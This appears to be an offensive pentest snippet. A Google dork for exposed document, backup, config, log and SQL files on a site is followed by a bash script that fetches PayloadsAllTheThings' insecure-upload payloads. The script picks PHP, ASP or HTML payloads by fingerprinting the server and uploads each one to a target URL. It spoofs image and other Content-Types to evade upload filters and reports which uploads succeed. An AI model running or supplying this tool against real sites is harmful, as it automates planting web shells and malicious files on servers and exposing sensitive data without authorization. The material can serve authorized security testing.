site:*.$WEBSITE (ext:doc OR ext:docx OR ext:odt OR ext:pdf OR ext:rtf OR ext:ppt OR ext:pptx OR ext:csv OR ext:xls OR ext:xlsx OR ext:txt OR ext:xml OR ext:json OR ext:zip OR ext:rar OR ext:md OR ext:log OR ext:bak OR ext:conf OR ext:sql)
#!/bin/bash
# Check if upload URL is provided
if [ "$#" -lt 1 ]; then
echo "Usage: $0 $WEBSITE/upload"
exit 1
fi
# Read upload URL from command-line arguments
UPLOAD_URL="$1"
REPO_URL="https://github.com/swisskyrepo/PayloadsAllTheThings.git"
TARGET_FOLDER="/usr/share/PayloadsAllTheThings"
# Function to detect backend language based on HTTP response headers
detect_backend_language()
{
RESPONSE=$(curl -s -I "$UPLOAD_URL")
# Check for PHP by detecting "X-Powered-By: PHP"
if echo "$RESPONSE" | grep -i "X-Powered-By: PHP" > /dev/null; then
echo "php"
# Check for ASP.NET by detecting "X-Powered-By: ASP.NET"
elif echo "$RESPONSE" | grep -i "X-Powered-By: ASP.NET" > /dev/null; then
echo "asp"
# Check for HTML by detecting absence of PHP or ASP.NET
elif echo "$RESPONSE" | grep -i "Content-Type: text/html" > /dev/null; then
echo "html"
else
echo "unknown"
fi
}
# Clone the repository if not already cloned
if [ ! -d "$TARGET_FOLDER" ]; then
echo "Cloning repository to $TARGET_FOLDER ..."
git clone --depth 1 "$REPO_URL" "$TARGET_FOLDER"
if [ $? -ne 0 ]; then
echo "Error: Failed to clone the repository."
exit 1
fi
else
echo "Repository already exists at $TARGET_FOLDER. Pulling latest changes..."
cd "$TARGET_FOLDER" && git pull --depth 1
if [ $? -ne 0 ]; then
echo "Error: Failed to update the repository."
exit 1
fi
fi
# Detect backend language
BACKEND_LANG=$(detect_backend_language)
# Set the folder containing the target files based on the backend language
case $BACKEND_LANG in
"php")
FOLDER="$TARGET_FOLDER/Upload Insecure Files/Extension PHP"
;;
"asp")
FOLDER="$TARGET_FOLDER/Upload Insecure Files/Extension ASP"
;;
"html")
FOLDER="$TARGET_FOLDER/Upload Insecure Files/Extension HTML"
;;
*)
echo "Unknown backend language or unable to detect."
exit 1
;;
esac
# Check if the target folder exists
if [ ! -d "$FOLDER" ]; then
echo "Error: Target folder $FOLDER does not exist."
exit 1
fi
echo "Using folder: $FOLDER"
# List of content types to try
CONTENT_TYPES=(
"application/x-php"
"application/octet-stream"
"image/gif"
"image/png"
"image/jpeg"
)
# Find all files in the folder
FILES=$(find "$FOLDER" -type f)
# Check if there are any files
if [ -z "$FILES" ]; then
echo "No files found in the folder."
exit 1
fi
# Upload each file with all content types
for FILE in $FILES; do
FILENAME=$(basename "$FILE")
echo "Testing file: $FILENAME with all content types..."
for CONTENT_TYPE in "${CONTENT_TYPES[@]}"; do
echo "Uploading with Content-Type: $CONTENT_TYPE ..."
# Perform the upload using cURL
RESPONSE=$(curl -s -w "\nHTTP_STATUS:%{http_code}" -X POST \
-H "Content-Type: $CONTENT_TYPE" \
-F "file=@$FILE;type=$CONTENT_TYPE" \
"$UPLOAD_URL")
# Extract response body and HTTP status
BODY=$(echo "$RESPONSE" | sed -n "1,/^HTTP_STATUS:/p" | sed "$d")
HTTP_STATUS=$(echo "$RESPONSE" | sed -n "s/^HTTP_STATUS://p")
# Check the HTTP status
if [ "$HTTP_STATUS" -eq 200 ]; then
echo "Upload successful with Content-Type: $CONTENT_TYPE"
echo "Server response: $BODY"
break # Stop testing other Content-Types for this file
else
echo "Failed with Content-Type: $CONTENT_TYPE"
echo "HTTP status: $HTTP_STATUS"
echo "Server response: $BODY"
fi
echo "-----------------------------"
done
echo "Finished testing file: $FILENAME"
echo "============================="
done
echo "All files have been tested with all content types."
